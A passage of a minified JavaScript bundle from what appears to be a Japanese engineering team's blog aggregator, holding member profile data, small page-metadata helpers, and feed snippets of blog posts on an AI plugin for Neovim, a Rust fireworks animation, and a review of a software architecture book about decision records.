Shogo",role:"long-term internship student",bio:"born 2 be engineer",avatarSrc:"/avatars/araki-icon.jpg",sources:[],includeUrlRegex:"",twitterUsername:"GawinGowin",githubUsername:"GawinGowin",websiteUrl:""},{id:"nomadblacky",name:"Takumi Kadowaki",role:"Software Engineer @ Reckoner",bio:"Scala / Observability",avatarSrc:"/avatars/nomadblacky.jpg",sources:["https://zenn.dev/nomadblacky/feed","https://speakerdeck.com/nomadblacky.rss"],includeUrlRegex:"",twitterUsername:"nomadblacky",githubUsername:"NomadBlacky",websiteUrl:""},{id:"kobuchi",name:"Shu Kobuchi",role:"Software Developer",bio:"mammalian",avatarSrc:"/avatars/kobuchi.jpeg",sources:["https://shu-kob.hateblo.jp/feed","https://speakerdeck.com/shukob.rss"],includeUrlRegex:"",twitterUsername:"shu_kob",githubUsername:"shu-kob",websiteUrl:""},{id:"kojake_300",name:"Yuki Iwasaki",role:"SRE",bio:"Splatoon",avatarSrc:"/avatars/yuki_iwasaki.png",sources:["https://qiita.com/kojake_300/feed","https://zenn.dev/kojake_300/feed","https://speakerdeck.com/kojake_300.rss"],includeUrlRegex:"",twitterUsername:"kojake_300",githubUsername:"",websiteUrl:""},{id:"kurita",name:"Kurita Keigo",role:"long-term internship student",bio:"I want to enginner the reliablity of the site",avatarSrc:"/avatars/kurita.jpg",sources:["https://kechigon.hatenablog.com/feed"],includeUrlRegex:"",twitterUsername:"kechigongon",githubUsername:"kechigon",websiteUrl:"https://www.wantedly.com/id/keigo_kurita_e"},{id:"kaita-nakamura",name:"Kaita Nakamura",role:"SRE",bio:"kaita",avatarSrc:"/avatars/kaitanakamura.jpg",sources:["https://zenn.dev/z63d/feed"],includeUrlRegex:"",twitterUsername:"z63d_",githubUsername:"z63d",websiteUrl:""},{id:"komiyama5380",name:"MASARU Komiyama",role:"PMO",bio:"SRE!!!",avatarSrc:"/avatars/komiyama5380.jpg",sources:["https://zenn.dev/komiyama/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"komiyama5380",websiteUrl:""},{id:"moz-sec",name:"Kobayashi Shun",role:"long-term internship student",bio:"I am a graduate student in Kyoto",avatarSrc:"/avatars/kobayashi.png",sources:["https://moz-security.hatenablog.com/feed","https://zenn.dev/moz_sec/feed","https://speakerdeck.com/moz_sec_.rss"],includeUrlRegex:"",twitterUsername:"moz_sec_",githubUsername:"moz-sec",websiteUrl:"https://moz-sec.com/"},{id:"melanmeg",name:"Naoya Yamamoto",role:"SRE",bio:"konpeko~",avatarSrc:"/avatars/melanmeg.png",sources:["https://zenn.dev/melanmeg/feed","https://speakerdeck.com/melanmeg.rss"],includeUrlRegex:"",twitterUsername:"melanmeg",githubUsername:"melanmeg",websiteUrl:"https://lit.link/melanmeg"},{id:"atusy",name:"Atsushi Yasumoto",role:"Software Developer",bio:"loves programming",avatarSrc:"/avatars/atusy.jpg",sources:["https://blog.atusy.net/index.xml"],includeUrlRegex:"",twitterUsername:"Atsushi776",githubUsername:"atusy",websiteUrl:"https://blog.atusy.net/"},{id:"yyamada",name:"Yunosuke Yamada",avatarSrc:"/avatars/yyamada.jpg",role:"Full Stack Engineer",bio:"筋トレ / LLM / Webアプリケーション",sources:["https://zenn.dev/kimitsu/feed"],githubUsername:"YunosukeY",twitterUsername:"east_k1mitsu",websiteUrl:"https://linktr.ee/kimitsu"},{id:"k-nagase",name:"Kohei Nagase",avatarSrc:"/avatars/koheinagase.jpg",role:"SRE",bio:"YANIKASU",sources:["https://zenn.dev/k_nagase/feed"],githubUsername:"k-ngs",twitterUsername:"koh_naga",websiteUrl:""}].sort((e,t)=>e.id{let{path:t,title:o,description:r,ogImageUrl:s,noindex:c,removeSiteNameFromTitle:l}=e,u="".concat(n.v.siteRoot).concat(t||"");return(0,a.jsxs)(i(),{children:[(0,a.jsx)("title",{children:l?o:"".concat(o," | ").concat(n.v.siteMeta.title)}),(0,a.jsx)("meta",{property:"og:title",content:o}),(0,a.jsx)("meta",{property:"og:url",content:u}),(0,a.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,a.jsx)("meta",{property:"og:site",content:n.v.siteMeta.title}),(0,a.jsx)("meta",{property:"og:image",content:s||"".concat(n.v.siteRoot,"/og.png")}),!!r&&(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)("meta",{name:"description",content:r}),(0,a.jsx)("meta",{property:"og:description",content:r})]}),t&&(0,a.jsx)("link",{rel:"canonical",href:u}),c&&(0,a.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,o){o.d(t,{ci:function(){return i},gO:function(){return n},gb:function(){return s},n4:function(){return r}});var a=o(1807);function r(e){return a.T.find(t=>t.id===e)}function i(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function n(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function s(e){return"/members/".concat(encodeURIComponent(e))}o(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"NeovimをCursorのように進化させる - yetone/avante.nvim の導入","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406","contentSnippet":"「もはやCopilotなしでは開発できない」Cursorが体験として革新的すぎる」Clineこそ俺達が求めていたものだ!」とにかく新世代のAIエディターが最高!」 はじめに開発者のタイムラインを開けば、そんな投稿で溢れかえっています。確かに、AIによる開発支援は革新的で、プログラミングの未来を感じさせるものです。特に最近では、単なるコード補完を超えて、より多機能なAIアシスタントとしての役割を担うツールが増えてきています。実は、愛用のNeovimでもこうした最新のAI機能を導入できるんです。しかも、使い慣れたキーバインドやプラグインはそのまま。今回はavante.nvimというプラグインを使って、NeovimをAIパワード開発環境へと進化させる方法をご紹介します。github.comこのプラグインは、私たちvimmerにとって既に身近な存在であるcopilot.luaのような補完機能を超えて、より包括的なAI支援を実現します。コードの理解、リファクタリング、そして対話的なアシスタント機能まで、新世代のAIエディターが持つ機能をNeovimで実現できるのです。これまでのvimmerは、copilot.luaのようなシンプルで効率的なコード補完ツールを活用してきました。しかし、新世代のAIエディターは、コードの解析、リファクタリングの提案、そしてより高度なコンテキスト理解を備えています。この進化に対して、私たちvimmerはどのように向き合うべきでしょうか?でも、待ってください。私たち Vimmer はどうすれば...? 長年磨き上げてきたNeovimを捨てて、新しいエディターに移行しなければいけないのでしょうか?いいえ、Neovimはもっと強くなれます。Neovimの最大の魅力は、その圧倒的なカスタマイズ性。それは単なるIDE(統合開発環境)ではなく、PDE(Personal Development Environment:個人開発環境)とも呼べる存在です。まるで自分だけの剣を鍛え上げていくように、エディターと共に成長していける。そんな独特の魅力がNeovimにはあります。私たちは常にNeovimを進化させ、新しい可能性を追求してきました。copilot.luaがその一例です。そして今、avante.nvimによって、さらなる進化の時が来ています。Neovim 以外の話はこちらです。laiso.hatenablog.comavante.nvim とはavante.nvimは、Cursor AI IDEの機能を模倣することを目的として開発されたNeovimプラグインです。AI駆動のコード提案機能を提供し、その提案を直接ソースファイルに適用できる機能を備えています。デモ動画こういう経験がサクッと得られるのでよいです。 https://t.co/x7S08l06v9 pic.twitter.com/X4mvE2c2H7— nwiizo (@nwiizo) 2025年1月7日 subを追加する例です。 https://t.co/x7S08l06v9 pic.twitter.com/EyjDkdzP9c— nwiizo (@nwiizo) 2025年1月7日 Note: GitHub上にデモ動画がありますが、実際の動作の様子を簡単に説明させていただきます:avante.nvimを使用すると、画面右側にAIアシスタントのサイドバーが表示され、現在開いているコードについて対話形式で質問や提案を行うことができます。コードの変更提案は差分形式で表示され、ワンクリックで適用することができます。まさにCursor AI IDEのような操作感を、Neovim上で実現しています。実際の動作については、GitHubのリポジトリでも確認することができます。特徴的な機能AIによるコードアシスタント: 現在のコードファイルについてAIに質問し、インテリジェントな提案を受けることができますワンクリック適用: AIの提案をシンプルなコマンドで即座にソースコードに反映できます他の生成AIとの連携: デフォルトのClaudeに加え、ChatGPTやGitHub Copilotを活用したコード提案が可能ですセットアップ方法lazy.nvimを使用した場合の設定例を紹介します。avante.nvimはデフォルトではCursorのように高度なAI機能を利用するように設定されていますが、他にもChatGPTやAzureなども指定できますが今回はより手軽に利用できるGitHub Copilotをプロバイダーとして設定します。これにより、Copilotのライセンスさえあれば、追加のAPIキーの設定なしでAI支援機能を利用することができます。以下が具体的な設定例です。{ \\"yetone/avante.nvim\\", event = \\"VeryLazy\\", lazy = false, version = false, opts = { provider = \\"copilot\\", auto_suggestions_provider = \\"copilot\\", -- 動作設定 behaviour = { auto_suggestions = false, auto_set_highlight_group = true, auto_set_keymaps = true, auto_apply_diff_after_generation = false, support_paste_from_clipboard = false, minimize_diff = true, }, -- ウィンドウ設定 windows = { position = \\"right\\", -- サイドバーの位置 wrap = true, -- テキストの折り返し width = 30, -- サイドバーの幅 -- その他の詳細設定は省略 }, }, -- 依存関係の設定 dependencies = { -- 必須の依存関係 \\"stevearc/dressing.nvim\\", \\"nvim-lua/plenary.nvim\\", \\"MunifTanjim/nui.nvim\\", -- オプションの依存関係 \\"hrsh7th/nvim-cmp\\", \\"nvim-tree/nvim-web-devicons\\", \\"zbirenbaum/copilot.lua\\", -- その他の拡張機能 }}私の設定はこちらです。github.com主要なキーマッピングデフォルトで以下のキーマッピングが利用可能です。主にこちらから利用していきます。aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。","isoDate":"2025-01-07T13:04:06.000Z","dateMiliSeconds":1736255046000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで花火アニメーションと新年メッセージを作ろう","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/04/120812","contentSnippet":"はじめに私がRustという言語と再び出会ったのは、暮れも押し詰まった頃のことだった。シェアハウスの六畳一間の部屋で、誰かの足音の気配だけを感じながら、画面に向かっていた。シェアハウスの共用キッチンからは時折、誰かの料理する音が漏れ聞こえてくるが、年末だというのに妙に静かだった。メモリ安全性という言葉に惹かれたわけでも、高パフォーマンスに心を奪われたわけでもない。ただ、この年の瀬に、誰にも見せることのない花火を打ち上げたかっただけなのだ。深夜のターミナル画面に、デジタルの花を咲かせれば、少しは華やかな年越しになるかもしれない。そんな打算的な期待を胸に、私はコードを書き始めた。年末最後の実装でもバグを出してしまい、『来年もきっと、たくさんの失敗をして恥ずかしいコードを書くことになるだろうな』と考えていました。https://t.co/34hgesMGQu pic.twitter.com/k7f7GyqLoT— nwiizo (@nwiizo) 2025年1月2日 準備まずは、以下の外部クレートをインストールします。chrono: 日付と時刻を扱うためのクレートcolored: ターミナル出力に色をつけるためのクレートrand: 乱数を生成するためのクレートCargo.tomlに以下の行を追加してください。[dependencies]rand = \\"0.8\\"colored = \\"2.0\\"chrono = \\"0.4\\"構造体と列挙型の詳細Fireworkとその周辺の構造体struct Firework { x: f64, // x座標 y: f64, // y座標 velocity: f64, // 上昇速度 particles: Vec, // 爆発後のパーティクル exploded: bool, // 爆発したかどうか color: Color, // 花火の色 sparkles: Vec, // 打ち上げ時の火花}struct Sparkle { x: f64, // 火花のx座標 y: f64, // 火花のy座標 lifetime: i32, // 火花の寿命}Firework構造体は花火1発分の情報を管理します。打ち上げ時にはexplodedがfalseで、上昇中の花火を表示。爆発後はexplodedがtrueとなり、particlesに格納された粒子が広がっていきます。sparklesは打ち上げ中の火花を表現するために使用されます。Particleの詳細struct Particle { x: f64, // x座標 y: f64, // y座標 vx: f64, // x方向の速度 vy: f64, // y方向の速度 lifetime: i32, // パーティクルの寿命 char: char, // 表示する文字 color: Color, // パーティクルの色 trail: Vec<(f64, f64)>, // 軌跡の座標履歴}Particleは爆発後の火花を表現します。物理演算で放物線を描くように、速度と重力の影響を受けます。trailは軌跡を表示するために過去の座標を記録しています。色の実装#[derive(Clone, Copy)]enum Color { Red, Green, Blue, Yellow, Magenta, Cyan, Rainbow, // 時間とともに色が変化 Silver, // 明滅する白 Gold, // 明滅する黄色 Pearl, // 白と水色で明滅}Colorは単色だけでなく、Rainbowのような動的な色変化や、Silver/Gold/Pearlのような明滅効果も実装しています。get_colored_charメソッドで、時間(フレーム数)に応じた色を返します。アニメーションの仕組み花火の更新処理impl Firework { fn update(&mut self) { if !self.exploded { self.y -= self.velocity; // 上昇 // 確率で火花を追加 if rand::thread_rng().gen_bool(0.3) { self.sparkles.push(Sparkle {...}); } // 一定の高さで爆発 if self.y <= rand::thread_rng().gen_range(5.0..15.0) { self.explode(); } } else { // パーティクルの更新と寿命切れの除去 for particle in &mut self.particles { particle.update(); } self.particles.retain(|p| p.lifetime > 0); } }}花火は打ち上げ時と爆発後で異なる動きをします。打ち上げ中は上昇しながら火花を散らし、一定の高さで爆発。爆発後は多数のパーティクルが放物線を描きながら広がります。描画処理の工夫fn draw_frame(fireworks: &Vec, frame_count: u32) { // 背景に星を表示(10フレームごとに配置を変える) if frame_count % 10 == 0 { for _ in 0..50 { let x = rand::thread_rng().gen_range(0..100); let y = rand::thread_rng().gen_range(0..30); frame[y][x] = (\'\xb7\', Some(Color::Silver)); } } // 各花火の描画 for firework in fireworks { // 打ち上げ火花の描画 for sparkle in &firework.sparkles { let x = sparkle.x as usize; let y = sparkle.y as usize; frame[y][x] = (\'。\', Some(Color::Pearl)); } if !firework.exploded { // 上昇中の花火 frame[y][x] = (\'⁂\', Some(firework.color)); } else { // 爆発後のパーティクル for particle in &firework.particles { // 軌跡の描画 for (i, (trail_x, trail_y)) in particle.trail.iter().enumerate() { let char = match i { 0 => \'.\', 1 => \'\xb7\', _ => \'\xb0\', }; frame[y][x] = (char, Some(particle.color)); } } } }}描画処理では、まず背景に点滅する星を配置し、その上に花火を重ねていきます。パーティクルの軌跡は徐々に薄くなるように文字を変えています。これにより、より自然な花火の表現を実現しています。アニメーションとメッセージ表示最後に、main関数でアニメーションとメッセージ表示を行います。fn main() { let year = Local::now().year(); // 現在の年を取得 let mut fireworks = Vec::new(); let mut frame_count = 0; loop { // 花火を追加 if frame_count % 15 == 0 && fireworks.len() < 8 { fireworks.push(Firework::new(rand::thread_rng().gen_range(10.0..90.0))); } // 花火を更新して描画 for firework in &mut fireworks { firework.update(); } draw_frame(&fireworks, frame_count); fireworks.retain(|f| !f.is_done()); thread::sleep(Duration::from_millis(40)); frame_count += 1; // 一定時間後にメッセージを表示 if frame_count > 300 { clear_screen(); display_new_year_message(year); break; } }}ループ内で、一定の間隔で新しい花火を追加し、既存の花火を更新して描画しています。300フレーム後には、display_new_year_message関数を呼び出して新年のメッセージを表示します。この関数では、ASCIIアートを使ってメッセージを作成し、coloredクレートで色をつけています。まとめ結局、プログラムは年越しに間に合わなかった。シェアハウスの他の住人たちは、それぞれの実家や友人たちの元へと消えていき、廊下は一層静かになっていた。コンパイラの指摘する数々のエラーと向き合ううち、除夜の鐘が鳴り響き、新年は音もなく明けてしまった。しかし不思議なことに、深夜2時、ようやく完成したプログラムが描き出す花火の光に、私は密かな充実感を覚えていた。誰にも見せることはないだろうこの花火は、確かに私だけの新年を祝福していたのだから。来年は少し早めに取り掛かろう。もっとも、来年も誰かと過ごすことになるとは限らないが。これは私の経験則である。知らんけど。完全なコードは以下の通りです。github.com","isoDate":"2025-01-04T03:08:12.000Z","dateMiliSeconds":1735960092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"アーキテクチャ設計の民主化とADR(Architectural Decision Records)による意思決定の未来 - Facilitating Software Architecture の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/31/232546","contentSnippet":"年末年始の慌ただしい時期に、数ある選択肢の中からこちらの記事をお読みいただき、誠にありがとうございます。人生を定期的に振り返ることには、本書で取り上げられているADR(Architecture Decision Records)に通じる素晴らしさがあります。過去の決定とその背景を記録し、将来の自分や他者が参照できる形で残すことは、個人の成長にとって貴重な資産となります。そんな観点から今年を振り返ってみると、2024年は私自身にとって大きな試練と変化の年でした。印象的だったのは、ある時期に突然、技術に対する興味や情熱が完全に失われてしまったことです。それは技術分野に限らず、仕事全般や私生活にも波及し、何をするにも意欲が湧かない、深い無気力状態に陥ってしまいました。しかし、この困難な時期を経て、いくつかの意味のある変化が生まれました。私は以前から技術書の書評を書いていましたが、これは主に自分の理解を深め、将来の自分のための記録として残すことが目的でした。より自分の感想や学びを素直に記録することに注力するようになりました。その結果長文になることも多々ある。この文章も同様に長くなってしまった。外部登壇やブログもいくつか書きました。また、Xでは書籍を紹介するアカウントの運営方法を始めました。めちゃくちゃにバカにされたり批判もされたが明確な敵ができて嬉しい。これは思いがけずフォロワーの方々との貴重な出会いを生み、さらには翻訳書の出版という新たな機会にもつながりました。あとは回復の過程で気づいたのは、基本的な生活習慣を見直すことの大切さでした。規則正しい運動習慣の確立、十分な睡眠時間の確保、そして栄養バランスを意識した食事管理を意識的に行うことで、徐々に日常を取り戻すことができました。また、仕事漬けの状態から一時的に距離を置き、純粋な娯楽を楽しむ時間を作ることも大きな助けとなりました。好きな映画やお笑い番組を観て心を癒したり、仕事や技術とは直接関係のない物語や小説に没頭する時間を意識的に作りました。一見すると遠回りに思えるこれらの活動が、むしろ心の回復を促し、結果として日常への活力を取り戻すきっかけとなったのです。このような経験を通じて、技術や仕事への向き合い方を大きく変えることができました。時には立ち止まり、心身の健康に意識を向けることの大切さを、身をもって学ぶ機会となったのです。そして、この振り返りを書き記すことは、まさにADRのように、将来の自分への重要な指針となることを願っています。あと、以下からtemplateを利用して作成することもできます。adr.github.ioはじめにここからは書評です。年の瀬や新しい年のスタートは、振り返りや目標設定の時期として特別な意味を持つことが多いと思います。そのような忙しい時期に手に取った一冊が、「Facilitating Software Architecture」でした。この本は、現代のソフトウェア開発における複雑な課題に向き合い、分散型アプローチを基盤にした実践的な知見を提供しています。読み進めるうちに、この時期に改めて考えたい「意思決定」「信頼」「チーム文化」といったテーマが深く掘り下げられており、多くの示唆を得ることができました。Facilitating Software Architecture: Empowering Teams to Make Architectural Decisions (English Edition)作者:Harmel-Law, AndrewO\'Reilly MediaAmazon本書は、分散型アーキテクチャの実践を通じて、現代のソフトウェア開発における複雑な課題に立ち向かうための方法を探求しています。従来の中央集権的なアーキテクチャ手法の限界を明確にし、変化の激しい開発環境に適応するための分散型アプローチを提案します。ソフトウェア開発は技術的な進化だけでなく、チームや組織文化といった社会的要素とも密接に関連しています。成功する開発チームは、技術的な卓越性を追求するだけでなく、分散化された信頼に基づく意思決定や柔軟なプロセスを取り入れる必要があります。本書では、理論的な原則だけでなく、実践的なアプローチや具体的な事例を交えながら、分散型アーキテクチャを支える方法を体系的に示しています。重要なのは、トップダウンの権限に頼らない意思決定の実現です。組織が成長し複雑化する中で、中央集権的なアプローチはその限界を迎えつつあります。そこで必要となるのが、信頼関係に基づいた民主的な意思決定プロセスです。本書は、このような信頼ベースの分散型アーキテクチャを実現するための具体的な方法論を提供しています。learning.oreilly.comアーキテクチャの民主化が必要な理由の一つは、中央集権的なアプローチに内在する持続可能性の問題です。いかに優秀なアーキテクトであっても、人は組織を去り、知識は失われ、文脈は変化します。アーキテクチャの決定権を特定の個人や小グループに集中させることは、長期的には組織の脆弱性につながります。分散型アプローチは、この本質的な課題に対する解決策を提供します。知識と決定権を組織全体で共有することで、個人への依存を減らし、より持続可能な開発文化を築くことができるのです。「中央集権型アプローチの限界」「アドバイスプロセスの導入」「アーキテクチャ意思決定記録(ADR:Architectural Decision Records)」の活用といったテーマを中心に、現代のソフトウェア開発組織が直面する課題とその解決策を深く掘り下げています。この知識は、開発者、アーキテクト、リーダーなど、さまざまな役割の方々がそれぞれの立場でより良い意思決定を行うための指針となるでしょう。ADR(Architecture Decision Records)との出会いは『Fundamentals of Software Architecture』の第19章を通じてでした。後に振り返ると、Design IT!でも触れられていたかもしれませんが、その時点では深く印象に残っていませんでした。learning.oreilly.com初めてADRの概念に触れた時、その単純さと効果的さに強く惹かれました。アーキテクチャ上の重要な決定を、その背景や検討過程も含めて記録するという考え方は、私が長年感じていた「なぜその決定に至ったのか」という疑問への明確な解答でした。ADRの実践において重要なのは、その適用範囲と文脈の深さを適切に見極めることです。あくまでシステムの方向性を決定づける重要な技術選択や、将来に大きな影響を与える可能性のある決定に焦点を当てるべきです。例えば、マイクロサービスアーキテクチャの採用、主要なデータベースの選定、重要なインターフェースの設計などが該当します。ただし、これらの決定についても、組織の規模や文化、個々のプロジェクトや各メンバーの気質などの特性に応じて適切な記録の粒度と範囲を見極める必要があります。一方で、日々の実装上の判断や、影響範囲が限定的な決定については、よりライトウェイトな文書化手法を選択すべきでしょう。コードのコメント、プルリクエストの説明、あるいはチームのWikiなどが適しています。ADRの価値は、その決定が組織やプロジェクトに与える影響の大きさに比例するからです。その後、実践的な知見を得るために様々な導入事例を調査しました。以下のブログ記事からは具体的な実装方法や運用上の工夫について多くの学びを得ることができました。user-first.ikyu.co.jplaiso.hatenablog.comblog.studysapuri.jp speakerdeck.comこれらの事例研究を通じて、ADRは単なるドキュメンテーションツールではなく、チーム全体の意思決定プロセスを改善し、知識共有を促進する強力な手段であることを理解しました。その後、自身の関わるプロジェクトでもADRを段階的に導入し、マイクロサービスアーキテクチャにおける設計判断の記録と共有に活用してきました。現在では、チーム内の技術的なコミュニケーションにおいて不可欠なツールとなっています。syu-m-5151.hatenablog.comChapter 1. Centralized Architecture Practices in a Decentralized World第1章「Centralized Architecture Practices in a Decentralized World」では、伝統的なソフトウェアアーキテクチャ実践の詳細な分析と、現代の分散化された開発環境における限界について論じています。著者は、5つの重要な革命的変化を軸に、中央集権的なアーキテクチャ実践の課題を説得力ある形で示しています。この章は、アーキテクチャ実践の根本的な変革の必要性を理解する上で重要な示唆を提供します。伝統的なアーキテクチャ実践の限界著者はまず、伝統的なアーキテクチャ実践を「アイボリータワー型」と「ハンズオン型」という2つの代表的なアプローチに分類します。アイボリータワー型アプローチでは、アーキテクトが組織の上層部に位置し、全体を俯瞰的に見渡しながら統制を重視します。このモデルでは、アーキテクトは開発チームから距離を置き、主に文書やレビューを通じて指示を与えます。Figure 1-1. The ivory tower approach to practicing architecture より引用一方、ハンズオン型アプローチでは、アーキテクトが個々の開発チームに密着し、実装レベルでの直接的な支援を行います。このモデルでは、アーキテクトはチーム間を移動しながら、より実践的な指導と支援を提供します。Figure 1-2. The hands-on, cross-team approach to practicing architecture より引用これら2つのアプローチは、一見異なる実践方法を採用していますが、「アーキテクトへの決定権の集中」という本質的な共通点を持ちます。この中央集権的な特徴は、現代の開発環境において深刻な課題を引き起こします。この課題は顕著です。以前参画した大規模マイクロサービス開発プロジェクトでは、アイボリータワー型アーキテクトの理想的な設計と現場の実際のニーズとの間に大きなギャップが生じました。アーキテクトが提案する完璧な設計は、実際の開発現場での制約や要件と整合性が取れず、結果として開発の遅延と品質の低下を招きました。この経験から、現代のソフトウェア開発においては、より柔軟で適応的なアプローチが必要だと強く感じています。ソフトウェア開発を変えた5つの革命著者は、現代のソフトウェア開発を根本的に変革した5つの重要な革命として、アジャイル開発、クラウドコンピューティング、DevOps、プロダクト思考、ストリーム指向チームを提示します。これらの革命により、ソフトウェア開発はより分散的でフィードバック重視の方向へと導かれました。しかし個人的には、これらに加えて大規模言語モデル(LLM)の台頭が、ソフトウェア開発を根本的に変革する新たな革命になると考えています。LLMによる変革は、単なる開発効率の向上にとどまらず、アーキテクチャの設計プロセスやチーム間のコミュニケーション、意思決定の方法そのものを変える可能性を秘めています。例えば、設計の選択肢の探索や過去の決定の分析、ドキュメンテーションの自動生成といった作業が劇的に効率化され、開発者はより本質的な判断や創造的な活動に注力できるようになるでしょう。私は、これら全ての変革の影響を実務で強く実感しています。DevOpsの導入は、開発と運用の壁を取り払い、より迅速なフィードバックサイクルを実現しました。また、プロダクト思考の浸透により、技術的な卓越性だけでなく、実際のビジネス価値の提供に焦点が当たるようになりました。そしてLLMの活用は、これらの革新をさらに加速させ、ソフトウェア開発の未来を大きく変えていくことでしょう。分散化とフィードバックの重要性著者は、現代のソフトウェアアーキテクチャには「分散化」と「フィードバック」という2つの要素が不可欠だと主張します。以前のプロジェクトでは、分散化されたチーム構造を採用することで、各チームの自律性が向上し、より迅速な意思決定が可能になりました。というか人が多すぎるとフィードバックが大変になる。また、継続的なフィードバックの重要性も実感しています。実際の運用から得られる知見を設計に反映する仕組みを確立することで、より実効性の高いアーキテクチャを実現できました。本番環境での問題や予期せぬユースケースから学び、それを設計に反映するサイクルが重要でした。みんなのフィードバック大全作者:三村 真宗光文社Amazonカオスと不確実性への対応著者は、ソフトウェアシステムにおけるカオスと不確実性を、避けるべき問題としてではなく、むしろ自然な特性として受け入れることを提唱します。私も、この視点は極めて重要だと感じています。完璧な設計を追求するのではなく、変化への適応能力を重視する現実的なアプローチが、現代のソフトウェア開発には不可欠です。エンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社Amazon注目すべきは「弱い創発」の概念です。私が担当したマイクロサービスプロジェクトでは、予期せぬサービス間の相互作用が発生することがありました。しかし、これを問題視するのではなく、システムの進化の機会として捉え直すことで、より柔軟で強靭なアーキテクチャを実現できました。フィードバックループと伝統的アプローチの課題著者は、伝統的なアーキテクチャ実践の最大の問題点として、効果的なフィードバックループの欠如を指摘します。この指摘は、感覚と完全に一致します。たとえばハンズオン型アプローチでさえ、システム全体からの包括的なフィードバックを適切に取り入れることができていません。著者が挙げる追跡番号管理システムの事例は、この課題を明確に示しています。スケーリング機能と再試行メカニズムの相互作用が予期せぬ動作を引き起こすという事例は、私も似たような事例を経験したことがあります。個々のコンポーネントは適切に設計されていても、それらの組み合わせが予想外の結果をもたらすことは、分散システムではよく起こる現象です。チームの分散化とアーキテクチャの整合性著者は、チームの組織構造とアーキテクチャの構造における整合性の重要性を強調します。これはコンウェイの法則の現代的な解釈として理解できます。この整合性は極めて重要です。マイクロサービスアーキテクチャを採用しながら、中央集権的な意思決定プロセスを維持しようとした組織では、深刻な課題が発生します。マイクロサービスの境界設定や技術選定に関する決定が中央のアーキテクチャチームに集中していたため、各開発チームの自律性が損なわれ、結果として開発のボトルネックが発生しました。アーキテクチャの分散化には、それに対応する組織構造の変革が不可欠だと学びました。結論本章は、現代のソフトウェア開発における伝統的なアーキテクチャ実践の限界を明確に示し、新しいアプローチの必要性を説得力ある形で提示しています。著者が示す予測不可能性の受容、創発的な性質の活用、フィードバックの重視という3つの要件は、実践的な指針として極めて有用です。これらの要件は技術的な側面だけでなく、組織的・文化的な変革も必要とすることが分かっています。重要なのは、チームの自律性を高めながら、組織全体としての一貫性を保つバランスです。分散化とフィードバックを重視する新しいアプローチは、このバランスを実現する上で重要な実践基盤となります。今後、ソフトウェア開発の複雑性はさらに増していくことが予想されます。その中で、本章で示された知見は、より適応力の高い組織とアーキテクチャを実現するための重要な指針となるでしょう。Part I. First PrinciplesPart I. First Principlesは、アーキテクチャ実践の基本原則を示す重要なパートです。伝統的なソフトウェアアーキテクチャの実践が直面する課題と、その解決策として分散型の意思決定アプローチを提案しています。このパートでは、アーキテクチャ実践の核となる「決定」に焦点を当て、その重要性と評価基準を明確にします。さらに大規模な意思決定の従来のアプローチを検証し、それらが現代のソフトウェア開発における分散型の意思決定と迅速なフィードバックという要件を満たせない理由を分析します。この課題に対する解決策として「アーキテクチャ・アドバイスプロセス」を提案します。このプロセスは分散型の意思決定と迅速なフィードバックを両立させる新しいアプローチです。著者はこのプロセスの導入方法や予想される課題、そしてアーキテクチャ決定記録(ADRs)による信頼構築と組織学習の方法を具体的に説明します。このパートは、現代のソフトウェア開発における効果的なアーキテクチャ実践の基礎となる原則と実践方法を包括的に提供しています。アドバイスプロセスとそれを支える要素の理解は、次のパートで扱う実践的なトピックの土台となります。learning.oreilly.comChapter 2. To Practice Architecture Is to Decide第2章「To Practice Architecture Is to Decide」はソフトウェアアーキテクチャの実践における意思決定の本質と重要性を扱います。アーキテクチャ的に重要な意思決定の定義と判断基準について深く掘り下げています。著者はアーキテクチャ意思決定を構造・非機能特性・依存関係・インターフェース・構築技術の5つの観点から整理し実践的な指針を提供します。Software Architecture and Decision-Making: Leveraging Leadership, Technology, and Product Management to Build Great Products がとても良いがlearning.oreilly.comこの本は島田さんによって翻訳されている。とてもありがたい。ソフトウェアアーキテクトのための意思決定術 リーダーシップ/技術/プロダクトマネジメントの活用作者:Srinath PereraインプレスAmazonアーキテクチャ決定の本質著者はすべてのアーキテクチャ決定が技術的決定である一方で技術的決定の全てがアーキテクチャ決定ではないという重要な区別から議論を始めます。この区別は実務上非常に重要です。私もプロジェクトの初期段階でこの区別が曖昧だったために些末な技術的決定に時間を費やしてしまうケースを何度も目にしてきました。Figure 2-1. All architectural decisions are technical decisions, but not all technical decisions are architectural ones より引用アーキテクチャ決定の基準として著者はMichael 